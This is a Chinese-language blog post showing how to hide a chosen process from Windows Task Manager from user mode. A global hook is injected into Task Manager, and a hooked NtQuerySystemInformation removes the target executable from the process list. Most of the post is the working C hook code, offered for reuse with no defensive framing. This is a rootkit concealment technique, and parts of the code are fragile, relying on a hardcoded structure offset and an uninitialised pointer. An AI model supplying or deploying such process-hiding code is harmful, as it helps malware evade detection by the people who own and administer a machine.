r3用全局钩子隐藏任务管理器里的进程

r3用全局钩子隐藏任务管理器里的进程

这本来是一个老掉牙的问题,  结果在网上一搜竟然没有什么好的解决方案, 还是自己来吧,  如果你觉得这篇文章有点帮助, 请给点回复.


1. 分析任务管理器使用的api, 经查其使用的api为NtQuerySystemInformation, 查msdn可知该api可取得进程信息链表

2. 使用全局钩子注入任务管理器, 然后api hook 上述函数, 把当前要隐藏的进程项从链表中删除

LONG WINAPI MyNtQuerySystemInformation(
                   SYSTEM_INFORMATION_CLASS SystemInformationClass,
                   PVOID SystemInformation,
                   ULONG SystemInformationLength,
                   PULONG ReturnLength
                   )
{
    LONG lRet 
=  RealNtQuerySystemInformation(SystemInformationClass, SystemInformation,
        SystemInformationLength, ReturnLength);

    
if (SystemInformationClass  ==  SystemProcessInformation) {

        PSYSTEM_PROCESS_INFORMATION     pCurrent;
        PSYSTEM_PROCESS_INFORMATION        pPrev;
        
int  cbOffset  =   0 ;
        BOOL bFind 
=  FALSE;

        
do  
        {
            bFind 
=  FALSE;
            pCurrent 
=  (PSYSTEM_PROCESS_INFORMATION) & ((LPBYTE)SystemInformation)[cbOffset];
            
if (pCurrent -> UniqueProcessId  !=   0 ) {
                LPTSTR pszImageName 
=   * (LPTSTR * )((LPBYTE)pCurrent  +   0x3c );
                
if (pszImageName ) {
                    
if ( lstrcmpi(pszImageName, _T( " your.exe " ))  ==   0  
                            )
                    {
                        bFind 
=  TRUE;
                    }
                }
            }

            
if ( ! bFind)
                pPrev 
=  pCurrent;
            
else  {
                pPrev
-> NextEntryOffset  +=  pCurrent -> NextEntryOffset;
            }

            cbOffset 
+=  pCurrent -> NextEntryOffset;

        } 
while (pCurrent -> NextEntryOffset);
    }
    
    
return  lRet;
}

你可能感兴趣的:(r3用全局钩子隐藏任务管理器里的进程)